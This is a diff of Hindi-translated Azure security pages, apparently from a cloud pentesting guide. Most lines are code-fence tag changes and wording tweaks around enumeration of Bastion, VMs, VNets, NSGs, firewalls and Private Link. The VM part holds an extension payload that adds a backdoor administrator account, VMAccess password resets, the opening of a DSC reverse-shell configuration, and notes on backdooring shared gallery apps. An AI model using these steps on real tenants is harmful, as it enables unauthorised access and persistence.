आपकी सदस्यता में सभी Azure Bastion होस्टों की सूची बनाने और उनके माध्यम से VMs से कनेक्ट करने के लिए, आप निम्नलिखित कमांड का उपयोग कर सकते हैं: आपकी सदस्यता में सभी Azure Bastion होस्टों की सूची बनाने और उनके माध्यम से VMs से कनेक्ट करने के लिए, आप निम्नलिखित कमांड का उपयोग कर सकते हैं:
@@ -180,7 +180,7 @@ az network bastion rdp \
``` ```
{{#endtab}} {{#endtab}}
{{#tab name="PowerShell"}} {{#tab name="PowerShell"}}
```powershell ```bash
# List bastions # List bastions
Get-AzBastion Get-AzBastion
``` ```
@@ -336,7 +336,7 @@ az resource list --resource-type "Microsoft.Compute/virtualMachines" --query "[]
az vm run-command list --output table az vm run-command list --output table
``` ```
```powershell ```bash
# Get readable VMs # Get readable VMs
Get-AzVM | fl Get-AzVM | fl
# Lis running VMs # Lis running VMs
@@ -450,7 +450,7 @@ az vm extension image list --publisher "Site24x7" --output table
``` ```
{{#endtab }} {{#endtab }}
{{#tab name="PowerShell" }} {{#tab name="PowerShell" }}
```powershell ```bash
# It takes some mins to run # It takes some mins to run
Get-AzVMExtensionImage -Location <Location> -PublisherName <PublisherName> -Type <Type> Get-AzVMExtensionImage -Location <Location> -PublisherName <PublisherName> -Type <Type>
``` ```
@@ -523,7 +523,7 @@ az vm extension set \
आप अन्य पेलोड भी निष्पादित कर सकते हैं जैसे: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add` आप अन्य पेलोड भी निष्पादित कर सकते हैं जैसे: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add`
- VMAccess एक्सटेंशन का उपयोग करके पासवर्ड रीसेट करें - VMAccess एक्सटेंशन का उपयोग करके पासवर्ड रीसेट करें
```powershell ```bash
# Run VMAccess extension to reset the password # Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password $cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
@@ -540,7 +540,7 @@ Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Na
<summary>VMAccess एक्सटेंशन</summary> <summary>VMAccess एक्सटेंशन</summary>
यह एक्सटेंशन Windows VMs के अंदर उपयोगकर्ताओं के पासवर्ड को संशोधित करने (या यदि यह मौजूद नहीं है तो बनाने) की अनुमति देता है। यह एक्सटेंशन Windows VMs के अंदर उपयोगकर्ताओं के पासवर्ड को संशोधित करने (या यदि यह मौजूद नहीं है तो बनाने) की अनुमति देता है।
```powershell ```bash
# Run VMAccess extension to reset the password # Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password $cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
@@ -552,7 +552,7 @@ Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Na
<summary>DesiredStateConfiguration (DSC)</summary> <summary>DesiredStateConfiguration (DSC)</summary>
यह एक **VM एक्सटेंशन** है जो Microsoft का है जो Azure Windows VMs की कॉन्फ़िगरेशन प्रबंधित करने के लिए PowerShell DSC का उपयोग करता है। इसलिए, इसका उपयोग Windows VMs में इस एक्सटेंशन के माध्यम से **मनमाने कमांड** निष्पादित करने के लिए किया जा सकता है: यह एक **VM एक्सटेंशन** है जो Microsoft का है जो Azure Windows VMs की कॉन्फ़िगरेशन प्रबंधित करने के लिए PowerShell DSC का उपयोग करता है। इसलिए, इसका उपयोग Windows VMs में इस एक्सटेंशन के माध्यम से **मनमाने कमांड** निष्पादित करने के लिए किया जा सकता है:
```powershell ```bash
# Content of revShell.ps1 # Content of revShell.ps1
Configuration RevShellConfig { Configuration RevShellConfig {
Node localhost { Node localhost {
@@ -622,12 +622,12 @@ az sig gallery-application list --gallery-name <gallery-name> --resource-group <
- Linux: `/var/lib/waagent/Microsoft.CPlat.Core.VMApplicationManagerLinux/<appname>/<app version>` - Linux: `/var/lib/waagent/Microsoft.CPlat.Core.VMApplicationManagerLinux/<appname>/<app version>`
- Windows: `C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.9\Downloads\<appname>\<app version>` - Windows: `C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.9\Downloads\<appname>\<app version>`
नए एप्लिकेशन स्थापित करने के तरीके की जांच करें [https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli](https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli) नए एप्लिकेशन स्थापित करने के लिए देखें [https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli](https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli)
> [!CAUTION] > [!CAUTION]
> यह संभव है कि **व्यक्तिगत ऐप्स और गैलरियों को अन्य सब्सक्रिप्शन या टेनेंट के साथ साझा किया जाए**। जो बहुत दिलचस्प है क्योंकि यह एक हमलावर को एक एप्लिकेशन में बैकडोर डालने और अन्य सब्सक्रिप्शन और टेनेंट में पिवट करने की अनुमति दे सकता है। > यह संभव है कि **व्यक्तिगत ऐप्स और गैलरियों को अन्य सब्सक्रिप्शन या टेनेंट के साथ साझा किया जाए**। जो बहुत दिलचस्प है क्योंकि यह एक हमलावर को एक एप्लिकेशन में बैकडोर डालने और अन्य सब्सक्रिप्शन और टेनेंट में पिवट करने की अनुमति दे सकता है।
लेकिन **vm ऐप्स के लिए "मार्केटप्लेस" नहीं है** जैस कि एक्सटेंशन के लिए है। लेकिन vm ऐप्स के लिए **कोई "मार्केटप्लेस" नहीं है** जैस कि एक्सटेंशन के लिए है।
आवश्यक अनुमतियाँ हैं: आवश्यक अनुमतियाँ हैं:
@@ -637,7 +637,7 @@ az sig gallery-application list --gallery-name <gallery-name> --resource-group <
- `Microsoft.Network/networkInterfaces/join/action` - `Microsoft.Network/networkInterfaces/join/action`
- `Microsoft.Compute/disks/write` - `Microsoft.Compute/disks/write`
मनमाने कमांड निष्पादित करने के लिए शोषण का उदाहरण: मनमाने कमांड निष्पादित करने के लिए शोषण उदाहरण:
{{#tabs }} {{#tabs }}
{{#tab name="Linux" }} {{#tab name="Linux" }}
@@ -11,7 +11,7 @@ Azure **वर्चुअल नेटवर्क (VNet)** प्रदान
Azure वर्चुअल नेटवर्क (VNet) आपके अपने नेटवर्क का प्रतिनिधित्व है जो क्लाउड में, आपके सब्सक्रिप्शन के लिए समर्पित Azure वातावरण के भीतर **तार्किक अलगाव** प्रदान करता है। VNets आपको Azure में वर्चुअल प्राइवेट नेटवर्क (VPNs) को प्रावधान और प्रबंधित करने की अनुमति देते हैं, जो वर्चुअल मशीन (VMs), डेटाबेस, और अनुप्रयोग सेवाओं जैसे संसाधनों को होस्ट करते हैं। वे नेटवर्क सेटिंग्स पर **पूर्ण नियंत्रण** प्रदान करते हैं, जिसमें IP पता रेंज, सबनेट निर्माण, रूट तालिकाएँ, और नेटवर्क गेटवे शामिल हैं। Azure वर्चुअल नेटवर्क (VNet) आपके अपने नेटवर्क का प्रतिनिधित्व है जो क्लाउड में, आपके सब्सक्रिप्शन के लिए समर्पित Azure वातावरण के भीतर **तार्किक अलगाव** प्रदान करता है। VNets आपको Azure में वर्चुअल प्राइवेट नेटवर्क (VPNs) को प्रावधान और प्रबंधित करने की अनुमति देते हैं, जो वर्चुअल मशीन (VMs), डेटाबेस, और अनुप्रयोग सेवाओं जैसे संसाधनों को होस्ट करते हैं। वे नेटवर्क सेटिंग्स पर **पूर्ण नियंत्रण** प्रदान करते हैं, जिसमें IP पता रेंज, सबनेट निर्माण, रूट तालिकाएँ, और नेटवर्क गेटवे शामिल हैं।
**सबनेट** एक VNet के भीतर उपविभाजन हैं, जिन्हें विशिष्ट **IP पता रेंज** द्वारा परिभाषित किया गया है। एक VNet को कई सबनेट में विभाजित करके, आप अपने नेटवर्क आर्किटेक्चर के अनुसार संसाधनों को व्यवस्थित और सुरक्षित कर सकते हैं।\ **सबनेट** एक VNet के भीतर उप-विभाजन हैं, जिन्हें विशिष्ट **IP पता रेंज** द्वारा परिभाषित किया गया है। एक VNet को कई सबनेट में विभाजित करके, आप अपने नेटवर्क आर्किटेक्चर के अनुसार संसाधनों को व्यवस्थित और सुरक्षित कर सकते हैं।\
डिफ़ॉल्ट रूप से, एक ही Azure वर्चुअल नेटवर्क (VNet) के भीतर सभी सबनेट **एक-दूसरे के साथ संवाद कर सकते हैं** बिना किसी प्रतिबंध के। डिफ़ॉल्ट रूप से, एक ही Azure वर्चुअल नेटवर्क (VNet) के भीतर सभी सबनेट **एक-दूसरे के साथ संवाद कर सकते हैं** बिना किसी प्रतिबंध के।
**उदाहरण:** **उदाहरण:**
@@ -35,7 +35,7 @@ az network vnet subnet list --resource-group <ResourceGroupName> --vnet-name <VN
``` ```
{{#endtab }} {{#endtab }}
{{#tab name="PowerShell" }} {{#tab name="PowerShell" }}
```powershell ```bash
# List VNets # List VNets
Get-AzVirtualNetwork | Select-Object Name, Location, @{Name="AddressSpace"; Expression={$_.AddressSpace.AddressPrefixes}} Get-AzVirtualNetwork | Select-Object Name, Location, @{Name="AddressSpace"; Expression={$_.AddressSpace.AddressPrefixes}}
@@ -49,7 +49,7 @@ Select-Object Name, AddressPrefix
## नेटवर्क सुरक्षा समूह (NSG) ## नेटवर्क सुरक्षा समूह (NSG)
एक **नेटवर्क सुरक्षा समूह (NSG)** Azure वर्चुअल नेटवर्क (VNet) के भीतर Azure संसाधनों के लिए नेटवर्क ट्रैफ़िक को फ़िल्टर करता है। इसमें **सुरक्षा नियमों** का एक सेट होता है जो **इनबाउंड और आउटबाउंड ट्रैफ़िक के लिए कौन से पोर्ट खोलने हैं** को स्रोत पोर्ट, स्रोत IP, पोर्ट गंतव्य द्वारा इंगित कर सकता है और एक प्राथमिकता असाइन करना संभव है (जितना कम प्राथमिकता संख्या, उतनी ही अधिक प्राथमिकता)। एक **नेटवर्क सुरक्षा समूह (NSG)** Azure वर्चुअल नेटवर्क (VNet) के भीतर Azure संसाधनों के लिए नेटवर्क ट्रैफ़िक को फ़िल्टर करता है। इसमें **सुरक्षा नियमों** का एक सेट होता है जो **इनबाउंड और आउटबाउंड ट्रैफ़िक के लिए कौन से पोर्ट खोलने हैं** यह निर्दिष्ट कर सकता है, स्रोत पोर्ट, स्रोत IP, पोर्ट गंतव्य द्वारा और एक प्राथमिकता असाइन करना संभव है (जितना कम प्राथमिकता संख्या, उतनी ही उच्च प्राथमिकता)।
NSGs को **सबनेट और NICs** से जोड़ा जा सकता है। NSGs को **सबनेट और NICs** से जोड़ा जा सकता है।
@@ -58,7 +58,7 @@ NSGs को **सबनेट और NICs** से जोड़ा जा सक
- एक इनबाउंड नियम जो किसी भी स्रोत से आपके वेब सर्वरों के लिए HTTP ट्रैफ़िक (पोर्ट 80) की अनुमति देता है। - एक इनबाउंड नियम जो किसी भी स्रोत से आपके वेब सर्वरों के लिए HTTP ट्रैफ़िक (पोर्ट 80) की अनुमति देता है।
- एक आउटबाउंड नियम जो केवल एक विशिष्ट गंतव्य IP पते की सीमा के लिए SQL ट्रैफ़िक (पोर्ट 1433) की अनुमति देता है। - एक आउटबाउंड नियम जो केवल एक विशिष्ट गंतव्य IP पते की सीमा के लिए SQL ट्रैफ़िक (पोर्ट 1433) की अनुमति देता है।
### गणना ### एन्यूमरेशन
{{#tabs }} {{#tabs }}
{{#tab name="az cli" }} {{#tab name="az cli" }}
@@ -75,7 +75,7 @@ az network nsg show --name MyLowCostVM-nsg --resource-group Resource_Group_1 --q
``` ```
{{#endtab }} {{#endtab }}
{{#tab name="PowerShell" }} {{#tab name="PowerShell" }}
```powershell ```bash
# List NSGs # List NSGs
Get-AzNetworkSecurityGroup | Select-Object Name, Location Get-AzNetworkSecurityGroup | Select-Object Name, Location
Get-AzNetworkSecurityGroup -Name <NSGName> -ResourceGroupName <ResourceGroupName> Get-AzNetworkSecurityGroup -Name <NSGName> -ResourceGroupName <ResourceGroupName>
@@ -91,19 +91,19 @@ Get-AzNetworkSecurityGroup -Name <NSGName> -ResourceGroupName <ResourceGroupName
## Azure Firewall ## Azure Firewall
Azure Firewall एक **प्रबंधित नेटवर्क सुरक्षा सेवा** है जो Azure में क्लाउड संसाधनों की सुरक्षा करती है, ट्रैफ़िक की जांच और नियंत्रण करके। यह एक **स्टेटफुल फ़ायरवॉल** है जो लेयर 3 से 7 के लिए नियमों के आधार पर ट्रैफ़िक को फ़िल्टर करता है, जो **Azure के भीतर** (east-west ट्रैफ़िक) और **बाहरी नेटवर्क के लिए/से** (north-south ट्रैफ़िक) संचार का समर्थन करता है। इसे **वर्चुअल नेटवर्क (VNet) स्तर** पर तैनात किया गया है, जो VNet में सभी सबनेट्स के लिए केंद्रीकृत सुरक्षा प्रदान करता है। Azure Firewall स्वचालित रूप से ट्रैफ़िक की मांगों को संभालने के लिए स्केल करता है और मैनुअल सेटअप की आवश्यकता के बिना उच्च उपलब्धता सुनिश्चित करता है। Azure Firewall एक **प्रबंधित नेटवर्क सुरक्षा सेवा** है जो Azure में क्लाउड संसाधनों की सुरक्षा करती है, ट्रैफ़िक की जांच और नियंत्रण करके। यह एक **स्टेटफुल फ़ायरवॉल** है जो लेयर 3 से 7 के लिए नियमों के आधार पर ट्रैफ़िक को फ़िल्टर करता है, जो **Azure के भीतर** (east-west ट्रैफ़िक) और **बाहरी नेटवर्कों के लिए/से** (north-south ट्रैफ़िक) संचार का समर्थन करता है। इसे **वर्चुअल नेटवर्क (VNet) स्तर** पर तैनात किया गया है, जो VNet में सभी सबनेट्स के लिए केंद्रीकृत सुरक्षा प्रदान करता है। Azure Firewall स्वचालित रूप से ट्रैफ़िक की मांगों को संभालने के लिए स्केल करता है और मैनुअल सेटअप की आवश्यकता के बिना उच्च उपलब्धता सुनिश्चित करता है।
यह तीन SKUs में उपलब्ध है—**बेसिक**, **स्टैंडर्ड**, और **प्रीमियम**, प्रत्येक विशिष्ट ग्राहक आवश्यकताओं के लिए अनुकूलित: यह तीन SKUs में उपलब्ध है—**बेसिक**, **स्टैंडर्ड**, और **प्रीमियम**, प्रत्येक विशिष्ट ग्राहक आवश्यकताओं के लिए अनुकूलित:
| **सिफारिश की उपयोगिता** | सीमित आवश्यकताओं वाले छोटे/मध्यम व्यवसाय (SMBs) | सामान्य उद्यम उपयोग, लेयर 3–7 फ़िल्टरिंग | अत्यधिक संवेदनशील वातावरण (जैसे, भुगतान प्रसंस्करण) | | **सिफारिश की उपयोगिता** | सीमित आवश्यकताओं वाले छोटे/मध्यम व्यवसाय (SMBs) | सामान्य उद्यम उपयोग, लेयर 3–7 फ़िल्टरिंग | अत्यधिक संवेदनशील वातावरण (जैसे, भुगतान प्रसंस्करण) |
| ------------------------------ | ------------------------------------------------- | ------------------------------------------- | --------------------------------------------------------- | | ------------------------------ | ------------------------------------------------- | ------------------------------------------- | --------------------------------------------------------- |
| **प्रदर्शन** | 250 Mbps तक थ्रूपुट | 30 Gbps तक थ्रूपुट | 100 Gbps तक थ्रूपुट | | **प्रदर्शन** | 250 Mbps तक थ्रूपुट | 30 Gbps तक थ्रूपुट | 100 Gbps तक थ्रूपुट |
| **खतरे की जानकारी** | केवल अलर्ट | अलर्ट और ब्लॉकिंग (दुष्ट IPs/डोमेन) | अलर्ट और ब्लॉकिंग (उन्नत खतरे की जानकारी) | | **खतरे की जानकारी** | केवल अलर्ट | अलर्ट और ब्लॉकिंग (दुष्ट IPs/डोमेन) | अलर्ट और ब्लॉकिंग (उन्नत खतरे की जानकारी) |
| **L3L7 फ़िल्टरिंग** | बुनियादी फ़िल्टरिंग | प्रोटोकॉल के बीच स्टेटफुल फ़िल्टरिंग | उन्नत निरीक्षण के साथ स्टेटफुल फ़िल्टरिंग | | **L3L7 फ़िल्टरिंग** | बुनियादी फ़िल्टरिंग | प्रोटोकॉल के बीच स्टेटफुल फ़िल्टरिंग | उन्नत निरीक्षण के साथ स्टेटफुल फ़िल्टरिंग |
| **उन्नत खतरे से सुरक्षा** | उपलब्ध नहीं | खतरे की जानकारी आधारित फ़िल्टरिंग | घुसपैठ पहचान और रोकथाम प्रणाली (IDPS) शामिल है | | **उन्नत खतरे की सुरक्षा** | उपलब्ध नहीं | खतरे की जानकारी आधारित फ़िल्टरिंग | घुसपैठ पहचान और रोकथाम प्रणाली (IDPS) शामिल है |
| **TLS निरीक्षण** | उपलब्ध नहीं | उपलब्ध नहीं | इनबाउंड/आउटबाउंड TLS समाप्ति का समर्थन करता है | | **TLS निरीक्षण** | उपलब्ध नहीं | उपलब्ध नहीं | इनबाउंड/आउटबाउंड TLS समाप्ति का समर्थन करता है |
| **उपलब्धता** | निश्चित बैकएंड (2 VMs) | ऑटोस्केलिंग | ऑटोस्केलिंग | | **उपलब्धता** | निश्चित बैकएंड (2 VMs) | ऑटोस्केलिंग | ऑटोस्केलिंग |
| **प्रबंधन में आसानी** | बुनियादी नियंत्रण | फ़ायरवॉल प्रबंधक के माध्यम से प्रबंधित | फ़ायरवॉल प्रबंधक के माध्यम से प्रबंधित | | **प्रबंधन में आसानी** | बुनियादी नियंत्रण | फ़ायरवॉल प्रबंधक के माध्यम से प्रबंधित | फ़ायरवॉल प्रबंधक के माध्यम से प्रबंधित |
### Enumeration ### Enumeration
@@ -124,7 +124,7 @@ az network firewall nat-rule collection list --firewall-name <FirewallName> --re
``` ```
{{#endtab }} {{#endtab }}
{{#tab name="PowerShell" }} {{#tab name="PowerShell" }}
```powershell ```bash
# List Azure Firewalls # List Azure Firewalls
Get-AzFirewall Get-AzFirewall
@@ -144,7 +144,7 @@ Get-AzFirewall
Azure **रूट टेबल** का उपयोग नेटवर्क ट्रैफ़िक के रूटिंग को नियंत्रित करने के लिए किया जाता है। ये नियमों को परिभाषित करते हैं जो यह निर्दिष्ट करते हैं कि पैकेट्स को कैसे अग्रेषित किया जाना चाहिए, चाहे वह Azure संसाधनों, इंटरनेट, या किसी विशिष्ट अगले हॉप जैसे कि वर्चुअल एप्लायंस या Azure फ़ायरवॉल के लिए हो। आप एक **सबनेट** के साथ एक रूट टेबल को जोड़ सकते हैं, और उस सबनेट के भीतर सभी संसाधन तालिका में रूट का पालन करेंगे। Azure **रूट टेबल** का उपयोग नेटवर्क ट्रैफ़िक के रूटिंग को नियंत्रित करने के लिए किया जाता है। ये नियमों को परिभाषित करते हैं जो यह निर्दिष्ट करते हैं कि पैकेट्स को कैसे अग्रेषित किया जाना चाहिए, चाहे वह Azure संसाधनों, इंटरनेट, या किसी विशिष्ट अगले हॉप जैसे कि वर्चुअल एप्लायंस या Azure फ़ायरवॉल के लिए हो। आप एक **सबनेट** के साथ एक रूट टेबल को जोड़ सकते हैं, और उस सबनेट के भीतर सभी संसाधन तालिका में रूट का पालन करेंगे।
**उदाहरण:** यदि एक सबनेट में ऐसे संसाधन हैं जिन्हें निरीक्षण के लिए नेटवर्क वर्चुअल एप्लायंस (NVA) के माध्यम से आउटबाउंड ट्रैफ़िक को रूट करने की आवश्यकता है, तो आप एक रूट टेबल में एक **रूट** बना सकते हैं ताकि सभी ट्रैफ़िक (जैसे, `0.0.0.0/0`) को NVA के निजी IP पते की ओर अगल हॉप के रूप में पुनर्निर्देशित किया जा सके। **उदाहरण:** यदि एक सबनेट में ऐसे संसाधन हैं जिन्हें निरीक्षण के लिए नेटवर्क वर्चुअल एप्लायंस (NVA) के माध्यम से आउटबाउंड ट्रैफ़िक को रूट करने की आवश्यकता है, तो आप एक रूट टेबल में एक **रूट** बना सकते हैं ताकि सभी ट्रैफ़िक (जैसे, `0.0.0.0/0`) को NVA के निजी IP पते र अगल हॉप के रूप में पुनर्निर्देशित किया जा सके।
### **गणना** ### **गणना**
@@ -159,7 +159,7 @@ az network route-table route list --route-table-name <RouteTableName> --resource
``` ```
{{#endtab }} {{#endtab }}
{{#tab name="PowerShell" }} {{#tab name="PowerShell" }}
```powershell ```bash
# List Route Tables # List Route Tables
Get-AzRouteTable Get-AzRouteTable
@@ -173,14 +173,14 @@ Get-AzRouteTable
Azure Private Link एक सेवा है जो Azure में **Azure सेवाओं के लिए निजी पहुंच सक्षम करती है** यह सुनिश्चित करके कि **आपके Azure वर्चुअल नेटवर्क (VNet) और सेवा के बीच का ट्रैफ़िक पूरी तरह से Microsoft के Azure बैकबोन नेटवर्क के भीतर यात्रा करता है**। यह प्रभावी रूप से सेवा को आपके VNet में लाता है। यह सेटअप सुरक्षा को बढ़ाता है क्योंकि यह डेटा को सार्वजनिक इंटरनेट के लिए उजागर नहीं करता है। Azure Private Link एक सेवा है जो Azure में **Azure सेवाओं के लिए निजी पहुंच सक्षम करती है** यह सुनिश्चित करके कि **आपके Azure वर्चुअल नेटवर्क (VNet) और सेवा के बीच का ट्रैफ़िक पूरी तरह से Microsoft के Azure बैकबोन नेटवर्क के भीतर यात्रा करता है**। यह प्रभावी रूप से सेवा को आपके VNet में लाता है। यह सेटअप सुरक्षा को बढ़ाता है क्योंकि यह डेटा को सार्वजनिक इंटरनेट के लिए उजागर नहीं करता है।
Private Link का उपयोग विभिन्न Azure सेवाओं के साथ किया जा सकता है, जैसे Azure Storage, Azure SQL Database, और Private Link के माध्यम से साझा की गई कस्टम सेवाएं। यह आपके अपने VNet के भीतर या यहां तक कि विभिन्न Azure सब्सक्रिप्शन से सेवाओं का उपभोग करने का एक सुरक्षित तरीका प्रदान करता है। Private Link का उपयोग विभिन्न Azure सेवाओं के साथ किया जा सकता है, जैसे Azure Storage, Azure SQL Database, और कस्टम सेवाएं जो Private Link के माध्यम से साझा की जाती हैं। यह आपके अपने VNet के भीतर या यहां तक कि विभिन्न Azure सब्सक्रिप्शन से सेवाओं का उपभोग करने का एक सुरक्षित तरीका प्रदान करता है।
> [!CAUTION] > [!CAUTION]
> NSGs निजी एंडपॉइंट्स पर लागू नहीं होते हैं, जिसका स्पष्ट अर्थ है कि Private Link वाले सबनेट के साथ NSG को जोड़ने का कोई प्रभाव नहीं होगा। > NSGs निजी एंडपॉइंट्स पर लागू नहीं होते हैं, जिसका स्पष्ट अर्थ है कि Private Link वाले सबनेट के साथ NSG को जोड़ने का कोई प्रभाव नहीं होगा।
**उदाहरण:** **उदाहरण:**
एक परिदृश्य पर विचार करें जहां आपके पास एक **Azure SQL Database है जिसे आप अपने VNet से सुरक्षित रूप से एक्सेस करना चाहते हैं**। सामान्यतः, इसमें सार्वजनिक इंटरनेट के माध्यम से यात्रा करना शामिल हो सकता है। Private Link के साथ, आप अपने VNet में एक **निजी एंडपॉइंट बना सकते हैं** जो सीधे Azure SQL Database सेवा से जुड़ता है। यह एंडपॉइंट डेटाबेस को इस तरह से प्रदर्शित करता है जैसे कि यह आपके अपने VNet का हिस्सा है, जिसे एक निजी IP पते के माध्यम से एक्सेस किया जा सकता है, इस प्रकार सुरक्षित और निजी पहुंच सुनिश्चित करता है। एक परिदृश्य पर विचार करें जहां आपके पास एक **Azure SQL Database है जिसे आप अपने VNet से सुरक्षित रूप से एक्सेस करना चाहते हैं**। सामान्यतः, इसमें सार्वजनिक इंटरनेट के माध्यम से यात्रा करना शामिल हो सकता है। Private Link के साथ, आप अपने VNet में एक **निजी एंडपॉइंट बना सकते हैं** जो सीधे Azure SQL Database सेवा से जुड़ता है। यह एंडपॉइंट डेटाबेस को इस तरह से प्रदर्शित करता है जैसे कि यह आपके अपने VNet का हिस्सा है, एक निजी IP पते के माध्यम से पहुंच योग्य है, इस प्रकार सुरक्षित और निजी पहुंच सुनिश्चित करता है।
### **Enumeration** ### **Enumeration**
@@ -195,7 +195,7 @@ az network private-endpoint list --query "[].{name:name, location:location, reso
``` ```
{{#endtab }} {{#endtab }}
{{#tab name="PowerShell" }} {{#tab name="PowerShell" }}
```powershell ```bash
# List Private Link Services # List Private Link Services
Get-AzPrivateLinkService | Select-Object Name, Location, ResourceGroupName Get-AzPrivateLinkService | Select-Object Name, Location, ResourceGroupName
@@ -211,7 +211,7 @@ Azure सेवा एंडपॉइंट आपके वर्चुअल
**उदाहरण:** **उदाहरण:**
उदाहरण के लिए, एक **Azure Storage** खाता डिफ़ॉल्ट रूप से सार्वजनिक इंटरनेट पर सुलभ है। अपने VNet के भीतर **Azure Storage के लिए एक सेवा एंडपॉइंट सक्षम करके**, आप सुनिश्चित कर सकते हैं कि केवल आपके VNet से आने वाला ट्रैफ़िक स्टोरेज खाते तक पहुँच सकता है। फिर स्टोरेज खाता फ़ायरवॉल को इस तरह से कॉन्फ़िगर किया जा सकता है कि ह केवल आपके VNet से आने वाले ट्रैफ़िक को स्वीकार करे। उदाहरण के लिए, एक **Azure Storage** खाता डिफ़ॉल्ट रूप से सार्वजनिक इंटरनेट पर सुलभ है। अपने VNet के भीतर **Azure Storage के लिए एक सेवा एंडपॉइंट सक्षम करके**, आप सुनिश्चित कर सकते हैं कि केवल आपके VNet से आने वाला ट्रैफ़िक स्टोरेज खाते तक पहुँच सकता है। फिर स्टोरेज खाता फ़ायरवॉल को इस तरह से कॉन्फ़िगर किया जा सकता है कि ह केवल आपके VNet से आने वाले ट्रैफ़िक को स्वीकार करे।
### **गणना** ### **गणना**
@@ -226,7 +226,7 @@ az network vnet subnet list --resource-group <ResourceGroupName> --vnet-name <VN
``` ```
{{#endtab }} {{#endtab }}
{{#tab name="PowerShell" }} {{#tab name="PowerShell" }}
```powershell ```bash
# List Virtual Networks with Service Endpoints # List Virtual Networks with Service Endpoints
Get-AzVirtualNetwork Get-AzVirtualNetwork
@@ -236,39 +236,39 @@ Get-AzVirtualNetwork
{{#endtab }} {{#endtab }}
{{#endtabs }} {{#endtabs }}
### सेवा अंतरों और निजी लिंक के बीच अंतर ### सेवा अंत बिंदुओं और निजी लिंक के बीच अंतर
Microsoft [**docs**](https://learn.microsoft.com/en-us/azure/virtual-network/vnet-integration-for-azure-services#compare-private-endpoints-and-service-endpoints) में निजी लिंक का उपयोग करने की सिफारिश करता है: Microsoft [**docs**](https://learn.microsoft.com/en-us/azure/virtual-network/vnet-integration-for-azure-services#compare-private-endpoints-and-service-endpoints) में निजी लिंक का उपयोग करने की सिफारिश करता है:
<figure><img src="../../../../images/image (25).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../../images/image (25).png" alt=""><figcaption></figcaption></figure>
**सेवा अंतरे:** **सेवा अंत बिंदु:**
- आपके VNet से Azure सेवा तक का ट्रैफ़िक Microsoft Azure बैकबोन नेटवर्क के माध्यम से यात्रा करता है, सार्वजनिक इंटरनेट को बायपास करता है। - आपके VNet से Azure सेवा तक का ट्रैफ़िक Microsoft Azure बैकबोन नेटवर्क के माध्यम से यात्रा करता है, सार्वजनिक इंटरनेट को बायपास करता है।
- अंतरा Azure सेवा के लिए एक सीधा कनेक्शन है और VNet के भीतर सेवा के लिए एक निजी IP प्रदान नहीं करता है। - अंत बिंदु Azure सेवा के लिए एक सीधा कनेक्शन है और VNet के भीतर सेवा के लिए एक निजी IP प्रदान नहीं करता है।
- सेवा स्वयं आपके VNet के बाहर से इसके सार्वजनिक अंतरे के माध्यम से अभी भी सुलभ है जब तक कि आप सेवा फ़ायरवॉल को ऐसे ट्रैफ़िक को अवरुद्ध करने के लिए कॉन्फ़िगर नहीं करते। - सेवा स्वयं आपके VNet के बाहर से इसके सार्वजनिक अंत बिंदु के माध्यम से अभी भी सुलभ है जब तक कि आप सेवा फ़ायरवॉल को ऐसे ट्रैफ़िक को अवरुद्ध करने के लिए कॉन्फ़िगर नहीं करते।
- यह सबनेट और Azure सेवा के बीच एक-से-एक संबंध है। - यह सबनेट और Azure सेवा के बीच एक-से-एक संबंध है।
- निजी लिंक की तुलना में कम महंगा है। - निजी लिंक की तुलना में कम महंगा है।
**निजी लिंक:** **निजी लिंक:**
- निजी लिंक Azure सेवाओं को आपके VNet में एक निजी अंतरे के माध्यम से मानचित्रित करता है, जो आपके VNet के भीतर एक निजी IP पते के साथ एक नेटवर्क इंटरफ़ेस है। - निजी लिंक Azure सेवाओं को आपके VNet में एक निजी अंत बिंदु के माध्यम से मानचित्रित करता है, जो आपके VNet के भीतर एक निजी IP पते के साथ एक नेटवर्क इंटरफ़ेस है।
- Azure सेवा को इस निजी IP पते का उपयोग करके एक्सेस किया जाता है, जिससे यह ऐसा प्रतीत होता है जैसे यह आपके नेटवर्क का हिस्सा है। - Azure सेवा को इस निजी IP पते का उपयोग करके एक्सेस किया जाता है, जिससे यह ऐसा प्रतीत होता है जैसे यह आपके नेटवर्क का हिस्सा है।
- निजी लिंक के माध्यम से जुड़े सेवाओं को केवल आपके VNet या जुड़े नेटवर्क से ही एक्सेस किया जा सकता है; सेवा के लिए कोई सार्वजनिक इंटरनेट एक्सेस नहीं है। - निजी लिंक के माध्यम से जुड़े सेवाओं को केवल आपके VNet या जुड़े नेटवर्क से एक्सेस किया जा सकता है; सेवा के लिए कोई सार्वजनिक इंटरनेट एक्सेस नहीं है।
